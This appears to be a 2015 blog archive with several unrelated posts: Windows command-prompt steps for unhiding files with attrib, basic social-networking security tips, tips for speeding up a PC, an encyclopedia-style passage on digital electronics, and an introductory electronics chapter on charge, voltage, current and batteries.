This command will unhide the files that are currently hidden. Because the important system files have a system attribute attached to them as well, the above command will not work for them and they will be skipped and kept hidden from prying eyes.

This command will take some time, so dont be afraid if it takes anywhere from a few minutes to half an hour to finish. What the command does is simple. It removes the hidden attribute from all files on the hard drive. The /S parameter tells it to search the current folder and all subfolders, while the /D parameter processes tthe folders as well.

6) Type Exit and press Enter when the procedure is complete. Then reboot your computer

For Windows Vista/7

1) Click on Start, All Programs
2) Click Accessories and Find Command Prompt
3) Right click on the Command Prompt option and choose Run as Administrator
4) At the command prompt type the following and press Enter

CD \

5) Now the command prompt should show the root folder of the hard drive. Most likely C:\
6) At the command prompt type the following and press Enter

ATTRIB -H *.* /S /D

This command will unhide the files that are currently hidden. Because the important system files have a system attribute attached to them as well, the above command will not work for them and they will be skipped and kept hidden from prying eyes.

This command will take some time, so dont be afraid if it takes anywhere from a few minutes to half an hour to finish. What the command does is simple. It removes the hidden attribute from all files on the hard drive. The /S parameter tells it to search the current folder and all subfolders, while the /D parameter processes tthe folders as well.

7) Type Exit and press Enter when the procedure is complete. Then reboot your computer

Social Networking Awareness

2015-09-14T09:30:00.001+05:30

Social Networking Awareness

As the popularity of social networking sites continues to grow, so do the security risks associated with them. Sites like Facebook, Twitter and Linkedin have become main targets for hackers.
Because of the threat posed by cyber criminals, taking it upon yourself to secure your social networking accounts is of the utmost importance. Below are several tips for securing your social networking accounts to keep hackers out and your private information safe.

How to Protect Yourself

Use strong passwords.

Keep antivirus software up to date

Update the security and privacy settings offered by social networking services to ensure the strongest settings possible. View security info on the following sites:
- Facebook's security info (Facebook site)
- Twitter's security info (Twitter site)
- Linkedin's security info (Linkedin site)
Avoid suspicious third-party applications.

Treat everything as public.

Share only with people you know.

How to Increase Computer Speed

2015-08-25T11:31:00.003+05:30

1) Use Microsoft Fix It

Microsoft Fix It is a free tool from Microsoft that will help users of Windows 7 or earlier to clean up and perform many simple maintenance problems.

2) Reduce Items that Run on Startup

If your computer takes a long time to start up, the first thing you want to do is see everything it starts when you hit the power button.

To do this, click on the Windows button, click “run,” and then type “msconfig” into the box. Click on the “Startup” tab. Some things you want to leave alone. For example, your Antivirus. Others, such as Adobe Acrobat or Google Toolbar Notifier, you don’t need to startup with your computer.

3) Remove Programs No Longer In Use

Along with preventing every app on your computer from starting with Windows, you should also review which programs you no longer need and remove them.

Access the uninstaller tool from your control panel and use that to uninstall programs you don’t use. I regularly do this, of course, as a software reviewer.

4) Clean Your Drive

Clean up your drives by typing “cleanmgr.exe” into the run menu to access Disk Cleanup. This is that “search programs and files” box that shows when you hit the Windows Start icon, usually in the lower left of most screens (although you can move it to any part of the screen).

5) Consider Switching From Internet Explorer to Chrome

If you are using Internet Explorer (IE) as your Web browser, it is time to upgrade. Make the Google Chrome download the last thing you do on it.

Chrome is faster and has fewer bugs than IE 11. (Sorry, IE users.)

6) Clean Your Browser

Regardless of your browser, you should clean it out regularly. To clean Chrome, click the three bars icon in the upper right corner, then click “Tools,” then “Clean Browsing Data,” and then check the history boxes, cookies and cached items.

Or, download CCleaner which does a great job on the five top browsers, registries and Windows, overall.

7) Scan For And Remove Malware

Anything that starts with “mal” must be stopped. You should regularly scan your system to get rid of any malware that may be slowing your computer down.

Comodo Cleaning Essentials is a top rated free tool that does this. Avast also has free tools, as does Norton.

8) Scan For And Remove Viruses and Spyware

In addition to performing regular scans on your computer for malware, you should also regularly scan for viruses and spyware.

Access your antivirus and manually perform a scan. You can schedule these weekly. Just make sure you do so when you won’t be using the computer. Also, having more than one antivirus on your computer will slow it down, so unless you are wanting to be incredibly thorough, and perhaps a bit redundant, it is better to run only one.

9) Make Adjustments For Better Performance

If you want better performance and don’t mind losing visual effects such as mouse shadows, click on “computer,” and then “system properties,” and then “advanced system settings.” You will find a performance settings button that allows you to select “adjust for best performance.”

You can also reduce your screen resolution, which can speed things slightly and improve battery life when running on it.

10) Defrag Your Drive

You should defragment your drive or schedule it to perform this action automatically. In general, you can do this monthly. However, if you excessively download, move, uninstall, or install programs, you may need to do it more frequently.

If your computer is running slow, you can manually analyze the disk to see if it is more than 10% fragmented. I still do this occasionally, but Windows seems to be doing a better job of keeping things optimized.

11) Add More RAM Memory

There are a few physical things you can do to increase your performance, as well. You can and should add more RAM memory until the computer is at capacity. I’ve found that as a machine ages, you can extend its utility with a RAM upgrade. I’m literally ordering RAM for one of my laptops as I write this.

In most cases, this is simply a matter of snapping in or out memory sticks. Laptops are usually slightly more tricky and you have to remove screws, but still fairly easy. You can also have a retail store service desk do it.

12) Upgrade To An SSD Drive

Finally, you can upgrade to an SSD drive. This will make your computer run faster, but they are more expensive and have overall less storage capacity. I wish there were easy ways to convert standard laptop drives to SSD, but I haven’t found any that are affordable.

Do not let a slow machine stop your productivity. Use these tips on how to increase computer speed to keep your desktop and laptop machines running smoothly

Digital electronics...

2015-08-17T12:44:00.000+05:30

Advantages

An advantage of digital circuits when compared to analog circuits is that signals represented digitally can be transmitted without degradation due to noise.^[2] For example, a continuous audio signal transmitted as a sequence of 1s and 0s, can be reconstructed without error, provided the noise picked up in transmission is not enough to prevent identification of the 1s and 0s. An hour of music can be stored on a compact disc using about 6 billion binary digits.
In a digital system, a more precise representation of a signal can be obtained by using more binary digits to represent it. While this requires more digital circuits to process the signals, each digit is handled by the same kind of hardware, resulting in an easily scalable system. In an analog system, additional resolution requires fundamental improvements in the linearity and noise characteristics of each step of the signal chain.
Computer-controlled digital systems can be controlled by software, allowing new functions to be added without changing hardware. Often this can be done outside of the factory by updating the product's software. So, the product's design errors can be corrected after the product is in a customer's hands.
Information storage can be easier in digital systems than in analog ones. The noise-immunity of digital systems permits data to be stored and retrieved without degradation. In an analog system, noise from aging and wear degrade the information stored. In a digital system, as long as the total noise is below a certain level, the information can be recovered perfectly.

Disadvantages

In some cases, digital circuits use more energy than analog circuits to accomplish the same tasks, thus producing more heat which increases the complexity of the circuits such as the inclusion of heat sinks. In portable or battery-powered systems this can limit use of digital systems.
For example, battery-powered cellular telephones often use a low-power analog front-end to amplify and tune in the radio signals from the base station. However, a base station has grid power and can use power-hungry, but very flexible software radios. Such base stations can be easily reprogrammed to process the signals used in new cellular standards.
Digital circuits are sometimes more expensive, especially in small quantities.
Most useful digital systems must translate from continuous analog signals to discrete digital signals. This causes quantization errors. Quantization error can be reduced if the system stores enough digital data to represent the signal to the desired degree of fidelity. The Nyquist-Shannon sampling theorem provides an important guideline as to how much digital data is needed to accurately portray a given analog signal.
In some systems, if a single piece of digital data is lost or misinterpreted, the meaning of large blocks of related data can completely change. Because of the cliff effect, it can be difficult for users to tell if a particular system is right on the edge of failure, or if it can tolerate much more noise before failing.
Digital fragility can be reduced by designing a digital system for robustness. For example, a parity bit or other error management method can be inserted into the signal path. These schemes help the system detect errors, and then either correct the errors, or at least ask for a new copy of the data. In a state-machine, the state transition logic can be designed to catch unused states and trigger a reset sequence or other error recovery routine.
Digital memory and transmission systems can use techniques such as error detection and correction to use additional data to correct any errors in transmission and storage.
On the other hand, some techniques used in digital systems make those systems more vulnerable to single-bit errors. These techniques are acceptable when the underlying bits are reliable enough that such errors are highly unlikely.
A single-bit error in audio data stored directly as linear pulse code modulation (such as on a CD-ROM) causes, at worst, a single click. Instead, many people use audio compression to save storage space and download time, even though a single-bit error may corrupt the entire song.

Design issues in digital circuits

Digital circuits are made from analog components. The design must assure that the analog nature of the components doesn't dominate the desired digital behavior. Digital systems must manage noise and timing margins, parasitic inductances and capacitances, and filter power connections.
Bad designs have intermittent problems such as "glitches", vanishingly fast pulses that may trigger some logic but not others, "runt pulses" that do not reach valid "threshold" voltages, or unexpected ("undecoded") combinations of logic states.
Additionally, where clocked digital systems interface to analog systems or systems that are driven from a different clock, the digital system can be subject to metastability where a change to the input violates the set-up time for a digital input latch. This situation will self-resolve, but will take a random time, and while it persists can result in invalid signals being propagated within the digital system for a short time.
Since digital circuits are made from analog components, digital circuits calculate more slowly than low-precision analog circuits that use a similar amount of space and power. However, the digital circuit will calculate more repeatably, because of its high noise immunity. On the other hand, in the high-precision domain (for example, where 14 or more bits of precision are needed), analog circuits require much more power and area than digital equivalents.

Construction

A digital circuit is often constructed from small electronic circuits called logic gates that can be used to create combinational logic. Each logic gate represents a function of boolean logic. A logic gate is an arrangement of electrically controlled switches, better known as transistors.
Each logic symbol is represented by a different shape. The actual set of shapes was introduced in 1984 under IEEE/ANSI standard 91-1984. "The logic symbol given under this standard are being increasingly used now and have even started appearing in the literature published by manufacturers of digital integrated circuits."^[3]
The output of a logic gate is an electrical flow or voltage, that can, in turn, control more logic gates.
Logic gates often use the fewest number of transistors in order to reduce their size, power consumption and cost, and increase their reliability.
Integrated circuits are the least expensive way to make logic gates in large volumes. Integrated circuits are usually designed by engineers using electronic design automation software (see below for more information).
Another form of digital circuit is constructed from lookup tables, (many sold as "programmable logic devices", though other kinds of PLDs exist). Lookup tables can perform the same functions as machines based on logic gates, but can be easily reprogrammed without changing the wiring. This means that a designer can often repair design errors without changing the arrangement of wires. Therefore, in small volume products, programmable logic devices are often the preferred solution. They are usually designed by engineers using electronic design automation software.
When the volumes are medium to large, and the logic can be slow, or involves complex algorithms or sequences, often a small microcontroller is programmed to make an embedded system. These are usually programmed by software engineers.
When only one digital circuit is needed, and its design is totally customized, as for a factory production line controller, the conventional solution is a programmable logic controller, or PLC. These are usually programmed by electricians, using ladder logic.

Structure of digital systems

Engineers use many methods to minimize logic functions, in order to reduce the circuit's complexity. When the complexity is less, the circuit also has fewer errors and less electronics, and is therefore less expensive.
The most widely used simplification is a minimization algorithm like the Espresso heuristic logic minimizer within a CAD system, although historically, binary decision diagrams, an automated Quine–McCluskey algorithm, truth tables, Karnaugh maps, and Boolean algebra have been used.

Representation

Representations are crucial to an engineer's design of digital circuits. Some analysis methods only work with particular representations.
The classical way to represent a digital circuit is with an equivalent set of logic gates. Another way, often with the least electronics, is to construct an equivalent system of electronic switches (usually transistors). One of the easiest ways is to simply have a memory containing a truth table. The inputs are fed into the address of the memory, and the data outputs of the memory become the outputs.
For automated analysis, these representations have digital file formats that can be processed by computer programs. Most digital engineers are very careful to select computer programs ("tools") with compatible file formats.

Combinational vs. Sequential

To choose representations, engineers consider types of digital systems. Most digital systems divide into "combinational systems" and "sequential systems." A combinational system always presents the same output when given the same inputs. It is basically a representation of a set of logic functions, as already discussed.
A sequential system is a combinational system with some of the outputs fed back as inputs. This makes the digital machine perform a "sequence" of operations. The simplest sequential system is probably a flip flop, a mechanism that represents a binary digit or "bit".
Sequential systems are often designed as state machines. In this way, engineers can design a system's gross behavior, and even test it in a simulation, without considering all the details of the logic functions.
Sequential systems divide into two further subcategories. "Synchronous" sequential systems change state all at once, when a "clock" signal changes state. "Asynchronous" sequential systems propagate changes whenever inputs change. Synchronous sequential systems are made of well-characterized asynchronous circuits such as flip-flops, that change only when the clock changes, and which have carefully designed timing margins.

Synchronous Systems

The usual way to implement a synchronous sequential state machine is to divide it into a piece of combinational logic and a set of flip flops called a "state register." Each time a clock signal ticks, the state register captures the feedback generated from the previous state of the combinational logic, and feeds it back as an unchanging input to the combinational part of the state machine. The fastest rate of the clock is set by the most time-consuming logic calculation in the combinational logic.
The state register is just a representation of a binary number. If the states in the state machine are numbered (easy to arrange), the logic function is some combinational logic that produces the number of the next state.

Asynchronous Systems

As of 2014, almost all digital machines are synchronous designs because it is easier to create and verify a synchronous design. However, asynchronous logic is thought can be superior because its speed is not constrained by an arbitrary clock; instead, it runs at the maximum speed of its logic gates. Building an asynchronous system using faster parts makes the circuit faster.
Many systems need circuits that allow external unsynchronized signals to enter synchronous logic circuits. These are inherently asynchronous in their design and must be analyzed as such. Examples of widely used asynchronous circuits include synchronizer flip-flops, switch debouncers and arbiters.
Asynchronous logic components can be hard to design because all possible states, in all possible timings must be considered. The usual method is to construct a table of the minimum and maximum time that each such state can exist, and then adjust the circuit to minimize the number of such states. Then the designer must force the circuit to periodically wait for all of its parts to enter a compatible state (this is called "self-resynchronization"). Without such careful design, it is easy to accidentally produce asynchronous logic that is "unstable," that is, real electronics will have unpredictable results because of the cumulative delays caused by small variations in the values of the electronic components.

Register Transfer Systems

Many digital systems are data flow machines. These are usually designed using synchronous register transfer logic, using hardware description languages such as VHDL or Verilog.
In register transfer logic, binary numbers are stored in groups of flip flops called registers. The outputs of each register are a bundle of wires called a "bus" that carries that number to other calculations. A calculation is simply a piece of combinational logic. Each calculation also has an output bus, and these may be connected to the inputs of several registers. Sometimes a register will have a multiplexer on its input, so that it can store a number from any one of several buses. Alternatively, the outputs of several items may be connected to a bus through buffers that can turn off the output of all of the devices except one. A sequential state machine controls when each register accepts new data from its input.
Asynchronous register-transfer systems (such as computers) have a general solution. In the 1980s, some researchers discovered that almost all synchronous register-transfer machines could be converted to asynchronous designs by using first-in-first-out synchronization logic. In this scheme, the digital machine is characterized as a set of data flows. In each step of the flow, an asynchronous "synchronization circuit" determines when the outputs of that step are valid, and presents a signal that says, "grab the data" to the stages that use that stage's inputs. It turns out that just a few relatively simple synchronization circuits are needed.

Computer Design

The most general-purpose register-transfer logic machine is a computer. This is basically an automatic binary abacus. The control unit of a computer is usually designed as a microprogram run by a microsequencer. A microprogram is much like a player-piano roll. Each table entry or "word" of the microprogram commands the state of every bit that controls the computer. The sequencer then counts, and the count addresses the memory or combinational logic machine that contains the microprogram. The bits from the microprogram control the arithmetic logic unit, memory and other parts of the computer, including the microsequencer itself.A "specialized computer" is usually a conventional computer with special-purpose control logic or microprogram.
In this way, the complex task of designing the controls of a computer is reduced to a simpler task of programming a collection of much simpler logic machines.
Almost all computers are synchronous. However, true asynchronous computers have also been designed. One example is the Aspida DLX core.^[4] Another was offered by ARM Holdings. Speed advantages have not materialized, because modern computer designs already run at the speed of their slowest componment, usually memory. These do use somewhat less power because a clock distribution network is not needed. An unexpected advantage is that asynchronous computers do not produce spectrally-pure radio noise, so they are used in some mobile-phone base-station controllers. They may be more secure in cryptographic applications because their electrical and radio emissions can be more difficult to decode.^[5]

Computer Architecture

Computer architecture is a specialized engineering activity that tries to arrange the registers, calculation logic, buses and other parts of the computer in the best way for some purpose. Computer architects have applied large amounts of ingenuity to computer design to reduce the cost and increase the speed and immunity to programming errors of computers. An increasingly common goal is to reduce the power used in a battery-powered computer system, such as a cell-phone. Many computer architects serve an extended apprenticeship as microprogrammers.

Automated design tools

To save costly engineering effort, much of the effort of designing large logic machines has been automated. The computer programs are called "electronic design automation tools" or just "EDA."
Simple truth table-style descriptions of logic are often optimized with EDA that automatically produces reduced systems of logic gates or smaller lookup tables that still produce the desired outputs. The most common example of this kind of software is the Espresso heuristic logic minimizer.
Most practical algorithms for optimizing large logic systems use algebraic manipulations or binary decision diagrams, and there are promising experiments with genetic algorithms and annealing optimizations.
To automate costly engineering processes, some EDA can take state tables that describe state machines and automatically produce a truth table or a function table for the combinational logic of a state machine. The state table is a piece of text that lists each state, together with the conditions controlling the transitions between them and the belonging output signals.
It is common for the function tables of such computer-generated state-machines to be optimized with logic-minimization software such as Minilog.
Often, real logic systems are designed as a series of sub-projects, which are combined using a "tool flow." The tool flow is usually a "script," a simplified computer language that can invoke the software design tools in the right order.
Tool flows for large logic systems such as microprocessors can be thousands of commands long, and combine the work of hundreds of engineers.
Writing and debugging tool flows is an established engineering specialty in companies that produce digital designs. The tool flow usually terminates in a detailed computer file or set of files that describe how to physically construct the logic. Often it consists of instructions to draw the transistors and wires on an integrated circuit or a printed circuit board.
Parts of tool flows are "debugged" by verifying the outputs of simulated logic against expected inputs. The test tools take computer files with sets of inputs and outputs, and highlight discrepancies between the simulated behavior and the expected behavior.
Once the input data is believed correct, the design itself must still be verified for correctness. Some tool flows verify designs by first producing a design, and then scanning the design to produce compatible input data for the tool flow. If the scanned data matches the input data, then the tool flow has probably not introduced errors.
The functional verification data are usually called "test vectors." The functional test vectors may be preserved and used in the factory to test that newly constructed logic works correctly. However, functional test patterns don't discover common fabrication faults. Production tests are often designed by software tools called "test pattern generators". These generate test vectors by examining the structure of the logic and systematically generating tests for particular faults. This way the fault coverage can closely approach 100%, provided the design is properly made testable (see next section).
Once a design exists, and is verified and testable, it often needs to be processed to be manufacturable as well. Modern integrated circuits have features smaller than the wavelength of the light used to expose the photoresist. Manufacturability software adds interference patterns to the exposure masks to eliminate open-circuits, and enhance the masks' contrast.

Design for testability

There are several reasons for testing a logic circuit. When the circuit is first developed, it is necessary to verify that the design circuit meets the required functional and timing specifications. When multiple copies of a correctly designed circuit are being manufactured, it is essential to test each copy to ensure that the manufacturing process has not introduced any flaws.^[6]
A large logic machine (say, with more than a hundred logical variables) can have an astronomical number of possible states. Obviously, in the factory, testing every state is impractical if testing each state takes a microsecond, and there are more states than the number of microseconds since the universe began. Unfortunately, this ridiculous-sounding case is typical.
Fortunately, large logic machines are almost always designed as assemblies of smaller logic machines. To save time, the smaller sub-machines are isolated by permanently installed "design for test" circuitry, and are tested independently.
One common test scheme known as "scan design" moves test bits serially (one after another) from external test equipment through one or more serial shift registers known as "scan chains". Serial scans have only one or two wires to carry the data, and minimize the physical size and expense of the infrequently used test logic.
After all the test data bits are in place, the design is reconfigured to be in "normal mode" and one or more clock pulses are applied, to test for faults (e.g. stuck-at low or stuck-at high) and capture the test result into flip-flops and/or latches in the scan shift register(s). Finally, the result of the test is shifted out to the block boundary and compared against the predicted "good machine" result.
In a board-test environment, serial to parallel testing has been formalized with a standard called "JTAG" (named after the "Joint Test Action Group" that proposed it).
Another common testing scheme provides a test mode that forces some part of the logic machine to enter a "test cycle." The test cycle usually exercises large independent parts of the machine.

Trade-offs

Several numbers determine the practicality of a system of digital logic: cost, reliability, fanout and speed. Engineers explored numerous electronic devices to get an ideal combination of these traits.

Cost

The cost of a logic gate is crucial, primarily because very many gates are needed to build a computer or other advanced digital system and because the more gates can be used, the more capable and/or fast the machine can be. Since the majority of a digital computer is simply an interconnected network of logic gates, the overall cost of building a computer correlates strongly with the price per logic gate. In the 1930s, the earliest digital logic systems were constructed from telephone relays because these were inexpensive and relatively reliable. After that, engineers always used the cheapest available electronic switches that could still fulfill the requirements.
The earliest integrated circuits were a happy accident. They were constructed not to save money, but to save weight, and permit the Apollo Guidance Computer to control an inertial guidance system for a spacecraft. The first integrated circuit logic gates cost nearly $50 (in 1960 dollars, when an engineer earned $10,000/year). To everyone's surprise, by the time the circuits were mass-produced, they had become the least-expensive method of constructing digital logic. Improvements in this technology have driven all subsequent improvements in cost.
With the rise of integrated circuits, reducing the absolute number of chips used represented another way to save costs. The goal of a designer is not just to make the simplest circuit, but to keep the component count down. Sometimes this results in more complicated designs with respect to the underlying digital logic but nevertheless reduces the number of components, board size, and even power consumption. A major motive for reducing component count on printed circuit boards is to reduce the manufacturing defect rate and increase reliability, as every soldered connection is a potentially bad one, so the defect and failure rates tend to increase along with the total number of component pins.
For example, in some logic families, NAND gates are the simplest digital gate to build. All other logical operations can be implemented by NAND gates. If a circuit already required a single NAND gate, and a single chip normally carried four NAND gates, then the remaining gates could be used to implement other logical operations like logical and. This could eliminate the need for a separate chip containing those different types of gates.

Reliability

The "reliability" of a logic gate describes its mean time between failure (MTBF). Digital machines often have millions of logic gates. Also, most digital machines are "optimized" to reduce their cost. The result is that often, the failure of a single logic gate will cause a digital machine to stop working. It is possible to design machines to be more reliable by using redundant logic which will not malfunction as a result of the failure of any single gate (or even any two, three, or four gates), but this necessarily entails using more components, which raises the financial cost and also usually increases the weight of the machine and may increase the power it consumes.
Digital machines first became useful when the MTBF for a switch got above a few hundred hours. Even so, many of these machines had complex, well-rehearsed repair procedures, and would be nonfunctional for hours because a tube burned-out, or a moth got stuck in a relay. Modern transistorized integrated circuit logic gates have MTBFs greater than 82 billion hours (8.2×10¹⁰) hours,^[7] and need them because they have so many logic gates.

Fanout

Fanout describes how many logic inputs can be controlled by a single logic output without exceeding the electrical current ratings of the gate outputs.^[8] The minimum practical fanout is about five. Modern electronic logic gates using CMOS transistors for switches have fanouts near fifty, and can sometimes go much higher.

Speed

The "switching speed" describes how many times per second an inverter (an electronic representation of a "logical not" function) can change from true to false and back. Faster logic can accomplish more operations in less time. Digital logic first became useful when switching speeds got above fifty hertz, because that was faster than a team of humans operating mechanical calculators. Modern electronic digital logic routinely switches at five gigahertz (5×10⁹ hertz), and some laboratory systems switch at more than a terahertz (1×10¹² hertz).

Logic families

Main article: logic family

Design started with relays. Relay logic was relatively inexpensive and reliable, but slow. Occasionally a mechanical failure would occur. Fanouts were typically about ten, limited by the resistance of the coils and arcing on the contacts from high voltages.
Later, vacuum tubes were used. These were very fast, but generated heat, and were unreliable because the filaments would burn out. Fanouts were typically five to seven, limited by the heating from the tubes' current. In the 1950s, special "computer tubes" were developed with filaments that omitted volatile elements like silicon. These ran for hundreds of thousands of hours.
The first semiconductor logic family was resistor–transistor logic. This was a thousand times more reliable than tubes, ran cooler, and used less power, but had a very low fan-in of three. Diode–transistor logic improved the fanout up to about seven, and reduced the power. Some DTL designs used two power-supplies with alternating layers of NPN and PNP transistors to increase the fanout.
Transistor–transistor logic (TTL) was a great improvement over these. In early devices, fanout improved to ten, and later variations reliably achieved twenty. TTL was also fast, with some variations achieving switching times as low as twenty nanoseconds. TTL is still used in some designs.
Emitter coupled logic is very fast but uses a lot of power. It was extensively used for high-performance computers made up of many medium-scale components (such as the Illiac IV).
By far, the most common digital integrated circuits built today use CMOS logic, which is fast, offers high circuit density and low-power per gate. This is used even in large, fast computers, such as the IBM System z.

Basic Electronics

2015-08-15T18:44:00.000+05:30

Basic Electronics

The goal of this chapter is to provide some basic information about electronic circuits. We make the assumption that you have no prior knowledge of electronics, electricity, or circuits, and start from the basics. This is an unconventional approach, so it may be interesting, or at least amusing, even if you do have some experience. So, the first question is ``What is an electronic circuit?'' A circuit is a structure that directs and controls electric currents, presumably to perform some useful function. The very name "circuit" implies that the structure is closed, something like a loop. That is all very well, but this answer immediately raises a new question: "What is an electric current?" Again, the name "current" indicates that it refers to some type of flow, and in this case we mean a flow of electric charge, which is usually just called charge because electric charge is really the only kind there is. Finally we come to the basic question:

What is Charge?

No one knows what charge really is anymore than anyone knows what gravity is. Both are models, constructions, fabrications if you like, to describe and represent something that can be measured in the real world, specifically a force. Gravity is the name for a force between masses that we can feel and measure. Early workers observed that bodies in "certain electrical condition" also exerted forces on one another that they could measure, and they invented charge to explain their observations. Amazingly, only three simple postulates or assumptions, plus some experimental observations, are necessary to explain all electrical phenomena. Everything: currents, electronics, radio waves, and light. Not many things are so simple, so it is worth stating the three postulates clearly.

Charge exists.

We just invent the name to represent the source of the physical force that can be observed. The assumption is that the more charge something has, the more force will be exerted. Charge is measured in units of Coulombs, abbreviated C. The unit was named to honor Charles Augustin Coulomb (1736-1806) the French aristocrat and engineer who first measured the force between charged objects using a sensitive torsion balance he invented. Coulomb lived in a time of political unrest and new ideas, the age of Voltaire and Rousseau. Fortunately, Coulomb completed most of his work before the revolution and prudently left Paris with the storming of the Bastille.

Charge comes in two styles.

We call the two styles positive charge,

+

, and (you guessed it) negative charge,

-

. Charge also comes in lumps of

1.6 �10

^-19C , which is about two ten-million-trillionths of a Coulomb. The discrete nature of charge is not important for this discussion, but it does serve to indicate that a Coulomb is a LOT of charge.

Charge is conserved.

You cannot create it and you cannot annihilate it. You can, however, neutralize it. Early workers observed experimentally that if they took equal amounts of positive and negative charge and combined them on some object, then that object neither exerted nor responded to electrical forces; effectively it had zero net charge. This experiment suggests that it might be possible to take uncharged, or neutral, material and to separate somehow the latent positive and negative charges. If you have ever rubbed a balloon on wool to make it stick to the wall, you have separated charges using mechanical action.
Those are the three postulates. Now we will present some of the experimental findings that both led to them and amplify their significance.

Voltage

First we return to the basic assumption that forces are the result of charges. Specifically, bodies with opposite charges attract, they exert a force on each other pulling them together. The magnitude of the force is proportional to the product of the charge on each mass. This is just like gravity, where we use the term "mass" to represent the quality of bodies that results in the attractive force that pulls them together (see Fig. 4.1).

**Figure 4.1:** Opposite charges exert an attractive force on each other, just like two masses attract. External force is required to hold them apart, and work is required to move them farther apart.

Electrical force, like gravity, also depends inversely on the distance squared between the two bodies; short separation means big forces. Thus it takes an opposing force to keep two charges of opposite sign apart, just like it takes force to keep an apple from falling to earth. It also takes work and the expenditure of energy to pull positive and negative charges apart, just like it takes work to raise a big mass against gravity, or to stretch a spring. This stored or potential energy can be recovered and put to work to do some useful task. A falling mass can raise a bucket of water; a retracting spring can pull a door shut or run a clock. It requires some imagination to devise ways one might hook on to charges of opposite sign to get some useful work done, but it should be possible.
The potential that separated opposite charges have for doing work if they are released to fly together is called voltage, measured in units of volts (V). (Sadly, the unit volt is not named for Voltaire, but rather for Volta, an Italian scientist.) The greater the amount of charge and the greater the physical separation, the greater the voltage or stored energy. The greater the voltage, the greater the force that is driving the charges together. Voltage is always measured between two points, in this case, the positive and negative charges. If you want to compare the voltage of several charged bodies, the relative force driving the various charges, it makes sense to keep one point constant for the measurements. Traditionally, that common point is called "ground."
Early workers, like Coulomb, also observed that two bodies with charges of the same type, either both positive or both negative, repelled each other (Fig. 4.2). They experience a force pushing

**Figure 4.2:** Like charges exert a repulsive force on each other. External force is required to hold them together, and work is required to push them closer.

them apart, and an opposing force is necessary to hold them together, like holding a compressed spring. Work can potentially be done by letting the charges fly apart, just like releasing the spring. Our analogy with gravity must end here: no one has observed negative mass, negative gravity, or uncharged bodies flying apart unaided. Too bad, it would be a great way to launch a space probe. The voltage between two separated like charges is negative; they have already done their work by running apart, and it will take external energy and work to force them back together.
So how do you tell if a particular bunch of charge is positive or negative? You can't in isolation. Even with two charges, you can only tell if they are the same (they repel) or opposite (they attract). The names are relative; someone has to define which one is "positive." Similarly, the voltage between two points

A

and

B

V

_AB , is relative. If

V

_AB is positive you know the two points are oppositely charged, but you cannot tell if point

A

has positive charge and point

B

negative, or visa versa. However, if you make a second measurement between

A

and another point

C

, you can at least tell if

B

and

C

have the same charge by the relative sign of the two voltages,

V

_AB and

V

_AC to your common point

A

. You can even determine the voltage between

B

and

C

without measuring it:

V

_BC = V_AC - V_AB . This is the advantage of defining a common point, like

A

, as ground and making all voltage measurements with respect to it. If one further defines the charge at point

A

to be negative charge, then a positive

V

_AB means point

B

is positively charged, by definition. The names and the signs are all relative, and sometimes confusing if one forgets what the reference or ground point is.

Current

Charge is mobile and can flow freely in certain materials, called conductors. Metals and a few other elements and compounds are conductors. Materials that charge cannot flow through are called insulators. Air, glass, most plastics, and rubber are insulators, for example. And then there are some materials called semiconductors, that, historically, seemed to be good conductors sometimes but much less so other times. Silicon and germanium are two such materials. Today, we know that the difference in electrical behavior of different samples of these materials is due to extremely small amounts of impurities of different kinds, which could not be measured earlier. This recognition, and the ability to precisely control the "impurities" has led to the massive semiconductor electronics industry and the near-magical devices it produces, including those on your RoboBoard. We will discuss semiconductor devices later; now let us return to conductors and charges.
Imagine two oppositely charged bodies, say metal spheres, that are being held apart, as in Fig. 4.3.

**Figure 4.3:** Two spheres with opposite charges are connected by a conductor, allowing charge to flow.

There is a force between them, the potential for work, and thus a voltage. Now we connect a conductor between them, a metal wire. On the positively charged sphere, positive charges rush along the wire to the other sphere, repelled by the nearby similar charges and attracted to the distant opposite charges. The same thing occurs on the other sphere and negative charge flows out on the wire. Positive and negative charges combine to neutralize each other, and the flow continues until there are no charge differences between any points of the entire connected system. There may be a net residual charge if the amounts of original positive and negative charge were not equal, but that charge will be distributed evenly so all the forces are balanced. If they were not, more charge would flow. The charge flow is driven by voltage or potential differences. After things have quieted down, there is no voltage difference between any two points of the system and no potential for work. All the work has been done by the moving charges heating up the wire.
The flow of charge is called electrical current. Current is measured in amperes (a), amps for short (named after another French scientist who worked mostly with magnetic effects). An ampere is defined as a flow of one Coulomb of charge in one second past some point. While a Coulomb is a lot of charge to have in one place, an ampere is a common amount of current; about one ampere flows through a 100 watt incandescent light bulb, and a stove burner or a large motor would require ten or more amperes. On the other hand low power digital circuits use only a fraction of an ampere, and so we often use units of

1/1000

of an ampere, a milliamp, abbreviated as ma, and even

1/1000

of a milliamp, or a microamp,

�a

. The currents on the RoboBoard are generally in the milliamp range, except for the motors, which can require a full ampere under heavy load. Current has a direction, and we define a positive current from point

A

B

as the flow of positive charges in the same direction. Negative charges can flow as well, in fact, most current is actually the result of negative charges moving. Negative charges flowing from

A

B

would be a negative current, but, and here is the tricky part, negative charges flowing from

B

A

would represent a positive current from

A

B

. The net effect is the same: positive charges flowing to neutralize negative charge or negative charges flowing to neutralize positive charge; in both cases the voltage is reduced and by the same amount.

Batteries

Charges can be separated by several means to produce a voltage. A battery uses a chemical reaction to produce energy and separate opposite sign charges onto its two terminals. As the charge is drawn off by an external circuit, doing work and finally returning to the opposite terminal, more chemicals in the battery react to restore the charge difference and the voltage. The particular type of chemical reaction used determines the voltage of the battery, but for most commercial batteries the voltage is about 1.5 V per chemical section or cell. Batteries with higher voltages really contain multiple cells inside connected together in series. Now you know why there are 3 V, 6 V, 9 V, and 12 V batteries, but no 4 or 7 V batteries. The current a battery can supply depends on the speed of the chemical reaction supplying charge, which in turn often depends on the physical size of the cell and the surface area of the electrodes. The size of a battery also limits the amount of chemical reactants stored. During use, the chemical reactants are depleted and eventually the voltage drops and the current stops. Even with no current flow, the chemical reaction proceeds at a very slow rate (and there is some internal current flow), so a battery has a finite storage or shelf life, about a year or two in most cases. In some types of batteries, like the ones we use for the robot, the chemical reaction is reversible: applying an external voltage and forcing a current through the battery, which requires work, reverses the chemical reaction and restores most, but not all, the chemical reactants. This cycle can be repeated many times. Batteries are specified in terms of their terminal voltage, the maximum current they can deliver, and the total current capacity in ampere-hours.
